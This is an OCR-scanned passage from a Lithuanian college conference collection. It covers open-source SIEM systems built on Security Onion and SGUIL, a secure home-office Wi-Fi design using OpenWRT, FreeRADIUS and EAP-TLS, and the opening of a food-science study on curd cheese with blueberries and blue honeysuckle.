automatiskai imtis veiksmy grésméms neutralizuoti. Si funkcija padeda organizacijoms
greitai reaguoti i jvykius ir uztikrinti saugumg tinkluose bei informacijos technologijy
sistemose.

Skirtingai nuo ESET, Splunk SIEM (2 pav.) yra pla¢iai naudojamas dideliuose
organizacijose. Splunk SIEM suteikia galimybe stebéti, analizuoti ir reaguoti | saugumo
ivykius 1§ jvairiy Saltiniy, jskaitant jvykiy stebé&jima, duomeny analiz¢ ir saugumo
incidenty valdyma. Tai padeda organizacijoms efektyviai valdyti saugumo rizikas ir
greitai reaguoti | potencialias grésmes. Be to, Splunk SIEM yra platesnio spektro
saugumo jrankis, skirtas visapusiam saugumo jvykiy stebéjimui, analizei ir valdymui,
palyginti su ESET antivirusine programa. Tai suteikia iSsamesnes galimybes saugumo
analizei ir incidenty valdymui, leidzia kurti iSsamesnes ataskaitas ir pasitelkti
automatizavima saugumo operacijoms.

VPN Health by Region -

VPN Health
by Region

2 pav. Splunk sasaja (https://www.splunk.com/en_us/blog/platform/splunk-ui-and-the-
dashboard-framework-more-visual-control-than-ever.html)
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SGUIL (3 pav.) yra vienas i§ pagrindiniy jrankiy, jtraukty j Security Onion
saugumo jrankiy rinkinj. Tai saugumo informacijos ir jvykiy valdymo sistema, skirta
stebéti, analizuoti ir reaguoti j jvykius tinklo aplinkoje (Network Security Monitoring
with Sguil) (Why Sguil Is the Best Option for Network Security Monitoring Data).

Pirmiausia, SGUIL suteikia galimybg stebéti ir analizuoti tinklo jvykius realiu
laiku. Tai apima jvairiy jvykiy, tokiy kaip tinklo srauto duomenys ir saugumo jspéjimai,
stebéjima ir analize¢ per patogia grafing vartotojo sasaja. Tai leidzia saugumo
specialistams greitai reaguoti j jvykius ir imtis batiny veiksmy (Intrusion Detection
System: Sguil’s Viability as a Network Security Monitor).

Be to, SGUIL teikia jvairias galimybes analizuoti jvykius ir vykdyti i§samesne
analize. Jis gali suteikti grafines analizés galimybes, kurios padeda vizualizuoti tinklo
ivykius ir jy rys$ius, taip pat leidzia giliau jsitraukti j jvykiy duomeny analizg.

P Resolution | Agent Siaiis | Syt hiag| ¥ Show Packet Data x Show Rule
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Seq#  Ack#  Offser fes Window Urpihks|

3 pav. SGUIL

Graylog (4 pav.) yra jvykiy valdymo sistema, kurioje yra galingos paieskos ir
filtravimo funkcijos, leidziancios analizuoti didelius duomeny kiekius i§ jvairiy Saltiniy.
Ji taip pat turi i§plésting vizualizacijos galimybe, kuri leidZia vartotojams lengvai stebéti
ir suprasti savo duomenis.

Taciau, palyginti su Graylog, SGUIL, kaip integrali Security Onion dalis, yra
labiau orientuotas j tinklo saugumo specialistus ir reagavimo komandas. Tai suteikia
i§pléstinj saugumo jvykiy stebéjima ir analize, leidZiancig profesionalams efektyviai
identifikuoti ir reaguoti j saugumo jvykius realiu laiku.
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4 pav. Graylog
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ELK Stack (5 pav.) yra atvirojo kodo platforma, kuri susideda is trijy pagrindiniy
komponenty: Elasticsearch, Logstash ir Kibana. Elasticsearch yra paieSkos ir analizés
variklis, kuris skirtas greitai ir efektyviai analizuoti, saugoti ir vizualizuoti didelius kiekius
duomeny. Logstash naudojamas surinkti, apdoroti ir normalizuoti jvairaus tipo duomenis
i§ jvairiy Saltiniy. Kibana yra grafiné sgsaja, leidzianti naudotojams kurti ir pasiekti
vizualizacijas, sujungti ir analizuoti duomenis, bei stebéti jvykius.

Palyginus su SGUIL, ELK Stack yra labiau orientuotas j bendra duomeny
analizg ir vizualizavima, nes jis teikia placias galimybes surinkti, saugoti, analizuoti ir
vizualizuoti jvairaus tipo duomenis. ELK Stack leidzia vartotojams kurti sudétingas ir
pritaikytas vizualizacijas, taip pat lengvai pritaikyti sistemos funkcionaluma pagal
specifinius reikalavimus. Palyginti su SGUIL, ELK Stack gali bati lankstesnis ir
daugiau pritaikomas jvairiems naudotojy poreikiams ir projekto specifikacijoms, taiau
gali reikalauti daugiau techniniy ziniy ir jgiidZiy diegimo ir konfigiiracijos procese. Taip
pat ELK Stack néra tiesioginis jrankis tinklo saugumo stebé&jimui, kaip SGUIL, bet yra
placiau naudojamas jvairiose duomeny analizés ir vizualizacijos srityse.
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5 pav. ELK Stack (https://www.elastic.co/elastic-stack/)

Nemokamy, atviro kodo SIEM palyginimas pateiktas 1 lenteléje. Komerciniy
ir nemokamy SIEM palyginimas pateiktas 2 lentel¢je.

121



1 lentelé. Nemokamy SIEM palyginimas

Security Onion,

ELK Stack
(Elasticsearch,

Graylog

Integruotumas

siekiama padéti
palengvinti jdiegimg ir
konfigtiracija.

Saltiniais ir
priemonémis dél
savo atvirojo kodo ir
lankstaus
architektiiros.

SGUIL Logstash, Kibana)
. !(alna, Visos trys paslaugos yra nemokamos naudoti pilnomis versijomis.
prieinamumas
Lankstumas Vidutinis — aukstas Aukstas Aukstas
Funkcionalumas | Vidutinis Aukstas Aukstas
ELK S.t Z}Ck gali buti Itraukia daugybe
. . lengvai integruotas .
Integruotas | Security su ivairiais duomen pasirenkamy
Onion platforma, kuri ! U iskiepiy ir

integracijy su
kitomis sistemomis,
taip pat turi atvirojo
kodo API.

2 lentele. Komerciniy SIEM ir

nemokamo atviro kodo SGUIL palyginimas

Integruotumas

Daznai integruotas
su ESET saugumo
sprendimais

Daznai integruotas
Su jvairiomis
sistemos ir
programomis

ESET Splunk SGUIL
Kaina Auksta Auksta Nemokama
Prieinamumas Komerciné Komerciné Atvirojo kodo,
nemokama
Lankstumas Vidutinis Aukstas Vidutinis — aukstas
Grafikos analizés
Integruotos Galingos paieskos galimybeés,
Funkcionalumas automatizuotos funkcijos, placiy orientacija j tinklo
funkcijos funkcijy galimybés | saugumo
specialistus
Integrali dalis

Security Onion
platformos, lengvai
prieinama
organizacijoms,
naudojancioms
Security Onion

Security Onion, SGUIL programa suteikia galimybe naudotis visais saugumo
jrankiais vienoje platformoje, taip sumazinant diegimo ir konfigliracijos sudétinguma.
SGUIL, budama integrali Security Onion dalis, taip pat teikia galimybe stebéti ir
analizuoti tinklo saugumo jvykius realiu laiku per patogig grafing vartotojo s3saja. Tai
gali sumazinti mokymosi slenkstj ir pagreitinti incidenty aptikimg bei reagavima, ypac
tiems, kurie jau yra susipazing su Security Onion platforma. Taigi, naudojant Security
Onion ir SGUIL, organizacija gali efektyviai stebéti ir valdyti tinklo sauguma.

Technologiju ir technikos apZvalga
Projekte nauda i§ SGUIL galéty biti daugialypé. Pirma, tai suteikia galimybe
organizacijai stebeti tinklo jvykius realiu laiku ir greitai reaguoti j galimas grésmes. Antra,
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SGUIL gali bti naudingas analizuojant jvykius ir ieSkant jtartiny ar neleistiny veiksmy,
padédamas organizacijai efektyviai atlikti analizg. Trecia, jis teikia patogia vartotojo
sasajg, kuri palengvina saugumo profesionalams naudotis sistema ir greitai jsisavinti
svarbig informacijg apie jvykius. Taigi, SGUIL prisideda prie bendros projekto sékmés,
padedant organizacijai uztikrinti tinklo sauguma ir veiksminga jvykiy valdyma.

Sukuriant SIEM su Security Onion ir SGUIL naudojant Oracle VM
VirtualBox, svarbu pirma atsisiysti ir jdiegti Oracle VM VirtualBox programing jranga.
Tai yra nemokamas, atvirojo kodo virtualizacijos jrankis, leidZiantis kurti ir valdyti
virtualias masinas vienoje fizinéje masinoje. Po to, naudojant Oracle VM VirtualBox,
sukuriama nauja virtuali maSina, kurioje bus jdiegta SIEM sistema. Tai daroma
nustatant virtualios masinos savybes, pavyzdziui, atminties dydj, procesoriaus skai¢iy
ir kt. Tada nustatomas operacinés sistemos jdiegimo diskas, kuriame bus saugoma
SIEM sistema, pavyzdziui, Security Onion ir SGUIL. Po virtualios masinos sukiirimo
ir operacinés sistemos jdiegimo disky nustatymo, paleidziama naujai sukurta virtuali
masina, kurioje sekti jprasti operacinés sistemos jdiegimo Zzingsniai. Baigus SIEM
sistemos diegima, konfigliruojami sistemos nustatymai, pritaikomi pagal organizacijos
poreikius, pavyzdziui, tinklo sasajy konfigiiracija, jvykiy surinkimo taisyklés ir
atsakymy veiksmai. Pagaliau, sukurta SIEM sistemg testuojama ir naudojama
organizacijos saugumo tikslais.

Aparatiiros posistemé

Kompiuteriy tinklas, kuriame jdiegiamas SIEM, galéty buti sudarytas i§ Siy
sudedamyjy daly: pagrindinio jmonés marSrutizatoriaus, centrinio komutatoriaus,
dviejy ar daugiau prieigos sluoksnio komutatoriy, Interneto tiekéjo, vietiniy
kompiuteriy ir SIEM (6 pav.)

2980-24TT
SEN

6 pav. Kompiuteriy tinklas su SIEM
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Informaciné posistemé

Security Onion — yra atvirojo kodo saugumo jrankiy rinkinys, kuris sukurtas
organizacijoms padéti stebéti, analizuoti ir reaguoti | ivykius jy tinkluose. Pagrijstas
Ubuntu Linux operacine sistema, $is jrankiy rinkinys surenka duomenis apie tinklo
jvykius i§ jvairiy Saltiniy, tokie kaip tinklo srauto surinkimas ir saugumo jspéjimy
generavimas. Be to, jis naudoja jvairias analizés technikas ir algoritmus, siekdamas
aptikti jtartinus arba neleistinus veiksmus tinklo aplinkoje, ir imasi veiksmy juos
neutralizuoti. Be jvykiy stebéjimo ir aptikimo, Security Onion taip pat suteikia
galimybes atlikti analiz¢, padedant organizacijoms efektyviau ir proaktyviau reaguoti j
saugumo grésmes.

Packet Tracer — yra jrankis, kurj daznai naudoja tinklo specialistai ir studentai,
siekdami kurti, testuoti ir simuliuoti kompiuterinius tinklus. Tai i§samus simuliacijos
jrankis, leidziantis kurti ir eksperimentuoti su jvairiomis tinklo topologijomis, jskaitant
marsrutizatorius, komutatorius, serverius, klienty kompiuterius ir kt. Sis jrankis taip pat
leidzia testuoti tinklo jvykius ir srautus, konfigiiruoti jrenginius ir netgi kurti
mokomasias priemones. Tai populiarus jrankis, naudojamas mokymosi ir praktinio
tinklo inZinerijos procese, leidziantis mokiniams ir specialistams suprasti ir jgyti
patirties su jvairiomis tinklo sasajomis bei konfigliracijomis. Taigi, naudojant Packet
Tracer, galima kurti realistiSkas tinklo aplinkas ir eksperimentuoti su tinklo saugumo
ivykiais bei jy stebéjimo biidais, jskaitant SIEM sistemy integracija.

Naudotojo sgsaja

Projektui sitiloma naudoti SGUIL, kuris yra vienas i§ pagrindiniy jrankiy,
itraukty j Security Onion saugumo jrankiy rinkinj. Tai saugumo informacijos ir jvykiy
valdymo sistema, skirta stebéti, analizuoti ir reaguoti j jvykius tinklo aplinkoje.

Tyrimo metodika — mokslinés literatiiros analizé, technologiniy galimybiy
analizé, atvejy analizé.

Tyrimo rezultatai:

1. I8analizuotos Siuo metu esamas problemas su atvirojo kodo saugumo
sistemomis;

2. Isigilinta j SecurityOnion, SGUIL, Oracle VM VirtualBox ir kitas
programines jrangas, kurios naudojamos kuriant SIEM;

3. Pasitlytas budas, kaip galima sukurti atvirojo kodo saugumo informacijos
ir jvykiy valdymo sistema;

4. lvertintas pasitilytos SIEM patikimumas ir saugumas.

ISvados

ISanalizavus komercines ir atviro kodo SIEM pastebima, kad nors mokamos
sistemos turi daug privalumy, taciau dél jy didelés kainos ir mazo lankstumo jos néra
patrauklios mazoms ir vidutinio dydZio jmonéms. I$ kitos pusés — atviro kodo SIEM
dazniausiai yra be garantijy ir palaikymo. Jos patrauklios savo kaina, bet gali biiti
sudétinga jas jdiegti jmongje.

Palyginus dazniausiai naudojamy komerciniy ir atviro kodo nemokamy SIEM
privalumus bei trakumus sialoma projektg atlikti naudojant Security Onion.

Projekto modelio sudarymui siiloma naudoti Oracle VM VirtualBox (Oracle
Vm VirtualBox Overview) ir Cisco Packet Tracer programas.
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Literatiuros ir kity informacijos Saltiniy sarasas

1.

Network Security Strategies : Protect Your Network and Enterprise Against
Advanced Cybersecurity Attacks and Threats. Prieiga per interneta: https://web-p-
ebscohost-com.db.kaunokolegija.lt/ehost/detail/detail ?vid=26 &sid=67cbe087-
1b97-4363-9683-2c99dadff369
proc.40redis&bdata=JnNNpdGU9ZWhvc3QtbGI2ZQ proc.3d
proc.3d#AN=2648388&db=e000xww

What Is SIEM? - Security Information and Event Management. Prieiga per
internetg: https://www.cisco.com/c/en/us/products/security/what-is-siem.html
Open source software security vulnerability detection based on dynamic behavior
features. Prieiga per internetg:

https://web-p-ebscohost-

com.db.kaunokolegija.lt/ehost/detail/detail ?vid=34&sid=67cbe087-1b97-4363-9683-
2¢99dadff369 proc.40redis&bdata=JnNNpdGU9ZWhvc3QthGI2ZQ proc.3d
proc.3d#AN=138238861&db=asn

Deploy Your Own Open Source SIEM With Security Onion. Prieiga per internetg :
https://www.linkedin.com/pulse/deploy-your-own-open-source-siem-security-
onion-bise-

Network  Security Monitoring with  Sguil. Prieiga per internetg
https://www.bsdcan.org/2004/papers/sguil.pdf

Security onion introduction. Prieiga per internetg :
https://docs.securityonion.net/en/2.3/introduction.html

Why Sguil Is the Best Option for Network Security Monitoring Data. Prieiga per
internetg : https://www.informit.com/articles/article.aspx?p=350390&seqNum=3
Intrusion Detection System: Sguil’s Viability as a Network Security Monitor.
Prieiga per interneta : https://premium-papers.com/intrusion-detection-system-
sguils-viability-as-a-network-security-monitor/

Oracle Vm VirtualBox Overview Prieiga per internets:
https://www.oracle.com/assets/oracle-vm-virtualbox-overview-2981353.pdf

Summary

In this article, modern security information and event management (SIEM) systems are being
focused on. Analysis of scientific literature, technological feasibility analysis and case studies are
included. It is noted that many commercial SIEM systems have good features. However, the study
shows that it is possible to create a smooth running, free, open source SIEM system by using
open-source applications such as SecurityOnion, SGUIL, Oracle VM VirtualBox.
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Saugaus namy ofiso belaidzio tinklo projektas

Anchelikas Vitkauskas, Gintaras Butkus
Kauno kolegija

Anotacija. Straipsnyje nagrinéjamos aktualios Siuolaikingje visuomengje
namy ofiso belaidzio rySio saugumo problemos. Atliekama mokslinés literatiiros
analizé, technologiniy galimybiy analizé, atvejy analizé. Pateikiamos tyrimo isvados ir
sitilomi problemos sprendimai — OpenWRT, FreeRadius ir EAP-TLS pritaikymas namy
ofiso belaidzio ryS$io saugumui padidinti. Saugumo uztikrinimui namy ofiso
belaidziame tinkle geriausiai tinka EAP-TLS sertifikatai. Nors jy konfigliravimas ir
jdiegimas Sik tiek komplikuotas, bet gautas saugumo padidinimo rezultatas atperka
konfigliravimo ir diegimo sunkumus.

Raktiniai Zodziai: TLS, OpenWRT, RADIUS, WPAS.

Ivadas

Temos aktualumas. Siais laikais vis daugiau Zmoniy pradeda dirbti i§ namy,
o tai didina namuose naudojama interneto ir belaidzio tinklo intensyvumg. Kadangi
namy tinklo vartojimo intensyvumas didéja, taip pat didéja ir kibernetiniy ataky grésmés
lygis, todél yra vis svarbiau ir svarbiau namuose turéti saugy belaid] tinkla.

Problema. Itin daznai namuose zmonés nesiima visy saugumo priemoniy,
daznai vartotojai slaptazodziy neuzdeda arba palicka numatytus, silpnus slaptazodzius
ant marsrutizatoriy, néra atnaujinama techniné jranga. D¢l Sity paminéty problemy
vartotojai daznai susiduria su kibernetinémis atakomis kur yra pavagiami slaptazodziai,
ar kiti jvairis duomenys kurie gali biti labai svarbiis vartotojui, tokie kaip banko
prisijungimo duomenys, elektroninis pastas, darbo failai ir taip toliau.

Tyrimo objektas. Saugus belaidis tinklas namy ofise panaudojant OpenWRT,
TLS sertifikatais ir RADIUS.

Tyrimo tikslas. Apzvelgti esamas ir pasitilyti saugig ir nebrangia namy ofiso
belaidZzio tinklo sistema.

Tyrimo uzZdaviniai:

1. I8analizuoti $iuo metu esamas problemas su namy ofiso belaidzio tinklo
saugumu;

2. Istirti TLS 1.3, WPA3 ir kita programing jranga, kuri padidina namy ofiso
belaidzio tinklo sauguma;

3. Pasidlyti saugumo didinimo sprendimus.

Namy ofiso belaidzZio tinklo jrangos analizé

Belaidis tinklas yra kiekvieno Siuolaikinio Zmogaus namuose, todél yra svarbu,
kad $is tinklas taip pat bity ir saugus. Sis saugus namy ofiso belaidis tinklas padés
vartotojams greitai ir lengvai apsisaugoti savo interneto tinkla.
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Irengti §] saugy namy bus naudojamos OpenWRT, TLS sertifikaty ir RADIUS
programingés jrangos, taip pat bus pasinaudojamas UBIQUITI UniFi AC LITE belaidis
prieigos taskas, kad buty galimybé paskleisti tinklg ir prie jo prisijungti.

UBIQUITI UniFi AC LITE — naujoviskas prieigos taskas kuris turi daugybe
funkeijy per kuriuos galima keisti jvairius nustatymus pagal jisy norus. Pasak Ubiquiti
techniniy specifikacijy, Sis prieigos taskas turi 2.4GHz ir 5GHz srauto greicius kurie
300MBps ir 867MBps, taip pat §is prieigos taskas palaiko PoE ir Passive PoE maitinimo
metodus (Ubiquiti, n.d.). Kadangi §is modelis taip pat yra LITE jis yra mazesnis nei Kiti
pana$is modeliai, neuzima daug vietos, yra pigesnis todél yra idealus prietaisas namy
ofisuose.

TP-LINK EAP225 V3 — populiarus prieigos tasko pasirinkimas dél jo pigios
kainos ir paprasto naudotojy sasajos, kuris turi greita dviejy dazniy Wi-Fi 2.4GHz kuris
turi 450Mbps greicius ir SGHz, kuris turi 867Mbps. EAP225 palaiko tiek 802.3af/at
PoE, tiek pasyvyji PoE maitina (tp-link, n.d.). Vartotojai gali §] prieigos taska
kontroliuoti telefonine programéle, dél Sios priezasties dauguma zmoniy vartotojy
renkasi Sitg prieigos taska.

Linksys LAPAC1750 — prieigos taSkas kuris uztikring plac¢ia Wi-Fi apimt;.
Kaip ir praeiti du prieigos tasky variantai Sis taip pat naudoja IEEE 802.11 interneto
standartus ir gali palaikyti dviejy dazniy Wi-Fi, 2.4 GHz kurio greitis yra 450Mbps ir
5GHz, kurio greitis yra 1300Mbps (Linksys, n.d.).

Pricigos tasky privalumai ir triikumai yra palyginami lenteléje (1 lentelé).
Palyginami UBIQUITI UniFi AC LITE, TP-LINK EAP225 V3 ir Linksys LAPAC1750
prieigos taskai.

1 lentelé. Prieigos tasky privalumai ir tritkumai.

Intfe rneto Saugumas Valdymas Kaina
nasumas
UBIQUITI 2.4 GHz - FreeRadius UniFi control Ekonomiskas —
UniFi AC LITE | 300MBps integracija, panel 82 eury kaina
5CGHz - WPA3
867MBps
TP-LINK 2.4 GHz - WPA2/WPA3 Ziniatinklio Pigus — 50 eury
EAP225 V3 450MBps Sifravimas sgsaja, Omoda | kaina.
5 GHz - 867 programiné
MBps jranga
Linksys 2.4 GHz - WPA2 Ziniatinklio Brangus — 303
LAPAC1750 450MBps sgsaja eury kaina.
5 GHz - 1300
MBps

Visi esantys jrenginiai gali atlikti jiems reikiamas funkcijas, tac¢iau pasirinkau
UBIQUITI UniFi AC LITE dél jo interneto nasumo greiciy, kurie neatsilieka nuo kity
esanciy varianty. UBIQUITI UniFi AC LITE taip pat turi FreeRadius integracija ir
naudoja WPA3 $ifravimg, kas dél saugumo yra tikrai geras ir uztikrintas pasirinkimas.
Valdymas taip pat yra paprastas su UniFi Control Panel.
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Technologijy ir technikos apZvalga
UBIQUITI UniFi AC LITE — Pasirinktas populiarus prieigos taskas dél lengvai
prieinamos kainos, mazo dydzio, naSumo ir saugumo. Jis palaiko tiek WPAZ2, tiek
WPA3 Wi-Fi saugumo protokolus, taip pat gali biiti integruotas ir su FreeRADIUS.
Specifikacijos:
o Wifi standartai 802.11 a/b/g/n/ac
300MBps 2.4 GHz greitis ir 867 MBps 5 GHz greitis
Matinimas — PoE
Maksimali prieigos tasko apimti yra apie 10m?
Palaiko WPA2/WPA3

Kuriant §j belaidzio tinklo projekta buvo apsvarstyti du galimi variantai (2
lentelé). Pirmas i§ iy varianty buvo labiau ispléstinis projekto tinklas (1 pav.). Sis tinklas
naudoja 4 prieigos taskus, kontrolerj kuriame yra prijungti ir valdomi visi prieigos taskai,
FreeRADIUS serveris kuris tvarko tinklo vartotojy autentiSkumo patvirtinima, jei
vartotojai nori prisijungti prie serverio jie yra nukreipiami j ,,FreeRADIUS* serverj kur
jiems reikia jvesti vartotojo vardg ir slaptazodj kuris yra vartotojy duomeny bazéje, pagal
§] pavyzdj galimos duomeny bazés biity LDAP, SQL ar kita.

Sis tinklas taip pat turi gerg tinklo plétima, yra lengva praplésti tinkla jeigu reikia
pridéti daugiau prieigos tasky. Dél turimos duomeny bazés ir reikalingy prisijungimui
vardo bei slaptazodzio S§is tinklas taip pat yra labai saugus, nes tai uzkerta kelig
neautorizuotiems vartotojams. Dél duomeny baziy integravimo yra supaprastinamas
vartotojy valdymas ir tai uztikrina, kad vartotojy informacija bus saugi.

Nors S$is tinklas ir turi daug pozityviy naudy, tai yra per daug brangus ir daug
priezitiros reikalaujantis tinklas namy ofisui, todél Sis tinklas nebuvo pasirinktas, nors
tai ir yra saugus ir paprastai naudojamas tinklas.

Prieigos taskas Prieigos taskas Prieigos taskas Prieigos taskas

Komﬂ[olems

RADIUS (FreeRADIUS)
Duomeny bazé (LDAP, SQL)

1 pav. Pirmo tinklo pavyzdys
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Antras pasirinktas pavyzdys (2 pav.) yra daug kompaktiskesnis ir pigesnis, nei
pirmas variantas. Jis naudoja tik viena prieigos taska j kurio vidy yra jraSyta OpenWRT
operaciné sistema, o tai leidzia jsiraSyti papildomy saugumo funkcijy, tokiy kaip VPN
ar jsilauzimo aptikimy funkcijas. Siame variante FreeRADIUS néra atskirtas serveris,
o jis yra jraSytas ] prieigos taska, tai palengvina Sio tinklo sgranka ir sumazina prietaisy
kiekj kuriuos reikéty kontroliuoti ir nusipirkti. Taip pat Sis tinklas naudoja EAP-TLS, o
Sis autentifikavimo metodas naudoja sertifikatus vartotojui ir serveriui patikrinti, todél
nereikia naudoti vartotojo vardo ir slaptazodzio, o tai uztikrina didesnj patikimumo lygj.

Taigi, $io tinklo stipriausios dalys yra paprastumas jj pasidaryti namuose.
Tokio tinklo i$laidos yra tik vienas prieigos taskas, saugumas kuris ateina su EAP-TLS
autentifikavimo metado, OpenWRT lankstumas ir integruotas FreeRADIUS.

Prieigos taskas

ey,

RADIUS(FreeRADIUS)

TLS Sertifikatai (EAP-TLS)

2 pav. Antro tinklo pavyzdys, visi §ie jrenginiai yra prieigos tasko viduje

1 lentele. Pirmo ir antro tinklo palyginimas

Pirmo tinklo pavyzdys Antro tinklo pavyzdys
Tinklo Puikus variantas dideléms jmonéms | Limituotas vienam prieigos
didinimas ar didesniems namy ofisams taskui
Valdymo Daug sunkiau kontroliuoti dél Lengva saranka ir valdymas
sunkumas didensio kiekio prietaisy
. Daug brangesnis variantas dél Tik vienas prieigos taskas

Kaina LS D

didelio kiekio prietaisy
Saugumas Stiprus vartotojo vardo ir Saugu_s _EAP_-TLS

slaptazodzio prisijungimas autentifikavimas
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Informaciné posistemé

FreeRADIUS - tai, stiprus atvirojo kodo RADIUS serveris, kuris atlickg
svarby vaidmenj saugant bevielio interneto informacijg. Jis veikia kaip serveris kuris
uztikrina patikimy vartotojy prieigos kontrole ir didina sauguma tinkle. FreeRADIUS
taip pat yra didelio naSumo ir labai konfigtiruojamas keliy protokoly politikos serveris,
kuris RADIUS, DHCPv4 ir VMPS (FreeRADIUS, n.d.).

OpenWRT — nemokama atvirojo kodo operaciné sistema. Ji gali buiti naudojama
tiek verslo, tiek vartotojy jrenginiy. OpenWRT yra pagristas Linux ir buvo sukurtas tam,
kad neuzimtu per daug vietos ir butu itin lengvai pritaikoma, todél puikiai tinka
jrenginiams kurie turi ribotus iSteklius. OpenWRT yra daznai naudojama jrenginiuose,
kuriems reikia pazangios tinklo funkcijos, tai gali bGiti marSrutizatoriai, prieigos taskai,
nes OpenWRT turi daugybe funkcijy ir jrankiy skirty srautui valdyti ir optimizuoti.

TLS 1.3 — naujausia ir saugiausia TLS protokoly integracija. Turi daug
greitesnj kliento ir serverio saugaus ryS$io uzmezgimo protokolg palyginus su TLS 1.2
(3 pav.) palyginus su senesnémis versijomis. TLS 1.3 taip pat turi patikimesnj sauguma
kuris naudoja Diffie-Hellman Ephemeral algoritmg apkeisti raktus, o tai sugeneruoja
skirtingus raktus po kiekvieno apsikeitimo.

TLS 1.2 TLS1.3
(Full Handshake) (Full Handshake)
S B S
J = J =
Client Server Client Server
0
) 1
A .

zzzzz

nnnnn

3 pav. Saugaus rysio uzmezgimo protokolo greitis

EAP-TLS — Alternatyvus prisijungimo metodas kuris nereikalauja vartotojo
vardo ir slaptazodzio. EAP-TLS reikalauja saugumo sertifikaty abiejose belaidzio rysio
pusése, todél prisijungimas prie Wi-Fi prieigos tasko yra daug saugesnis. EAP-TLS
veiksmingai paSalina galimybe jsilauzéliams atlikti ataka tinkle (Kerner, 2017.). TLS
perdavimo metu Sie sertifikatai yra apkeiciami ir jie yra tikrinami naudojant sudétingus
matematinius sprendimus tokius kaip skaitmeninis parasas. EAP-TLS sukuria saugy
tunelj (4 pav.), kuriame yra naudojami stipriis Sifravimo protokolai, pavyzdziui AES.
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AES yra privataus rakto kuri naudojama jau tikstancius mety, kai ir siuntéjas, ir gavéjas
naudoja tg patj raktg. Tai yra blokinis Sriftas, todél jvesties duomenys turi biiti sudéti j
128 bity ilgio blokus, o atvirojo teksto blokas uzsifruojamas raktu ir gaunamas Srifto
blokas (5 pav.). Yra trijy dydziy rakto dydziai: 128, 192 ir 256 bity. DaZniausiai
naudojamo tipo AES yra 128 bity dydzio (Bowne, 2018.). Sertifikatai, kriptografija ir
Sifravimas padeda gerokai sustiprinti tinklo saugumg palyginant su tradiciniais
autentifikavimo metodais.

(Wireless Authenticatior
devices server

1. EAP Request Identity

4. Client-Hello

5. Server-Hello

6. Server Certificate

7. Client Key Exchange

8. Client Finished

9. Server Finished

10. EAP Success

4 pav. EAP-TLS rysio uzmezgimo pavyzdys

Plaintext
key
Encryption
Ciphertext

5 pav. Sifro bloko pavyzdys
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Naudotojo sasaja

Vartotojy valdymo sgsaja sitloma naudoti OpenWRT valdymo skyda su
integruotu RADIUS serveriu, skirtu naudotojy autentiSkumui patvirtinti. Sis valdymo
skydas leis valdyti tinkla ir naudotojy prieigos kontrole per paprasta ir lengvai suprantama
naudotojy sasaja, taip supaprastinant saugaus namy ofiso tinklo administravima.

Tyrimo metodika — mokslinés literatiiros analizé, technologiniy galimybiy
analize, atvejy analize.

Tyrimo rezultatai ir iSvados

1. Istyrus ir palyginus jvairius namy ofiso belaidzio tinklo aparatiiros
sprendimus nustatyta, kad namy ofisui labai gerai tinka UBIQUITI UniFi AC LITE
belaidés prieigos tadkas. Sis prieigos taskas yra nebrangus, suvartoja labai nedaug
elektros energijos yra lengvai sumontuojamas. Be to, jis yra pakankamai galingas, turi
uztektinai pastoviosios atminties, jkurig galima jrasyti OpenWRT operacing sistema;
turi pakankamai operatyviosios atminties, kas uztikrina skaldy papildomy servisy, tokiy
kaip RAIUS veikima.

2. Tyrimas parodé, kad kaip tapatybés nustatymo, leidimy suteikimo ir
apskaitos serveris mazam namy ofisui geriausiai tinka FreeRadius. Tai yra nemokama,
atviro kodo, turinti labai daug konfigiiravimo galimybiy sistema.

3. Saugumo uztikrinimui namy ofiso belaidZiame tinkle geriausiai tinka EAP-
TLS sertifikatai. Nors jy konfigliravimas ir jdiegimas §ik tick komplikuotas, bet gautas
saugumo padidinimo rezultatas atperka konfigiiravimo ir diegimo sunkumus.

Literatiros ir kity informacijos Saltiniy sarasas

1. FreeRADIUS (n.d.). FreeRADIUS dokumentacija
https://github.com/FreeRADIUS/freeradius-server/tree/v3.2.x/doc/

2. Kerner S. (2017). EAP-TLS Detailed as WiFi Security Best Practice at SecTor.
https://web.p.ebscohost.com/ehost/detail/detail?vid=8&sid=d03d0c25-3f99-45ac-
9bd42743bf6a7f9a proc.40redis&bdata=IJnNpdGU9ZWhvc3QthGI2ZQ proc.3d
proc.3d#AN=126265026&db=asn

3. Kerner Sean Michael (2018). TLS 1.3 Encryption Standard Moves Forward,
Improving Internet Security

4. Linksys (n.d.). Linksys LAPAC1750 Technical Specifications. Prieiga per interneta:
https://techspecs.ui.com/unifi/wifi/uap-ac-lite
Prieiga per interneta:
https://web.p.ebscohost.com/ehost/detail/detail ?vid=17&sid=28d5f362-987¢c-4017-
a252-972004d5d16d proc.40redis&bdata=InNpdGU9ZWhvc3QthGI2ZQ proc.3d
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Summary
In this article, the current issues of home office wireless security in modern society are addressed

and scientific literature, technological options, and case studies are analysed. The conclusions of the
study and proposed solutions to the problem are presented - the application of OpenWRT,
FreeRadius and EAP-TLS systems to improve the security of home office wireless communication.
It is established that EAP-TLS certificates are best for home office wireless network security.
Although the configuration and installation of the aforementioned systems are quite complicated,
the resulting increased security compensates for said difficulty.
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Padidinto funkcionalumo saldaus pieno siirio

kokybiniy rodikliy palyginimas

Vilté Martisiiité, Kornelija Mélinyté, Ilona Sostakiené, Inga Pupeliené
Kauno kolegija

Anotacija. Pateikiamo straipsnyje tyrimo tikslas buvo palyginti saldaus pieno
varskés siiriy, pagaminty su mélynémis, Silauogémis ir be uogy, kokybinius rodiklius.
Saldaus pieno varskés siiris gaminamas apdorojant parfigstintg pieng ne Zemesnéje kaip
80-90 °C temperatiiroje 15-20 minuéiy. Padidinus koaguliacijos temperatiirg nuo 60
iki 90 °C, siirio drégmés kiekis sumazéja nuo 59,0 iki 49,0 proc. Ragstys koaguliuoja
kazeing, auks$ta temperatiira denatiiruoja iSrtigy baltymus. pH didziausig jtaka turi
juslinéms savybéms. Likes laktozés kiekis, kintantis priklausomai nuo siirio drégmés,
uztikrina stirio spalva ir turi jtakos skoninéms savybéms. Denatlirave didesni iSriigy
baltymy kiekiai padidina vandens sulaikymg, mazina stirio lydymosi galimybes siirio
kepimo metu. Funkciniy ir kokybiniy siirio rodikliy gerinimui receptiiroje panaudotos
mélynés ir Silauogés. Nustatyta, kad uogos siiriuose Siek tiek sumazino energing verte,
padéjo islaikyti drégme Saldymo metu, neturéjo jtakos vandens aktyvumui, dél savo
savybiy mélynés didino riig§tinguma, o Silauogés — mazino. Juslinés analizés rezultatai
parodé, kad stiriai su uogomis biity priimtini vartotojams dél spalvos ir kvapo, o skonis
